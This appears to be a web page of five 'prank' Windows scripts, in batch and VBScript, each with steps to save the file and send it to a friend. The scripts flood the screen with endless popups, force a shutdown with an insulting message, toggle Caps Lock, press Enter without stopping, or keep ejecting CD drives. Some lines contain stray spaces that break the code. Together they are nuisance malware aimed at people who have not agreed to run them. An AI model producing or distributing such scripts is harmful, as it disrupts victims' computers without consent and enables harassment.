1>write in notepad
Cycle a message in your friend's computer(code is given below)
Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as "Anything.BAT" and send it.

2>write in notepad
Convey your friend a lil' message and shut down his/ her computer(code is given below)
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.

3>write in notepad
Toggle your friend's Caps Lock button simultaneously(code is given below)
Type :
Set wshShell =wscript.CreateObje ct("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

4>write in notepad
Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!(code is given below)
Type :
Set oWMP = CreateObject("WMPlayer.OCX. 7")
Set colCDROMs = oWMP.cdromCollectio n
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.

5>write in notepad
Frustrate your friend by making this VBScript hit Enter simultaneously(code is given below)
Type :
Set wshShell = wscript.CreateObjec t("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.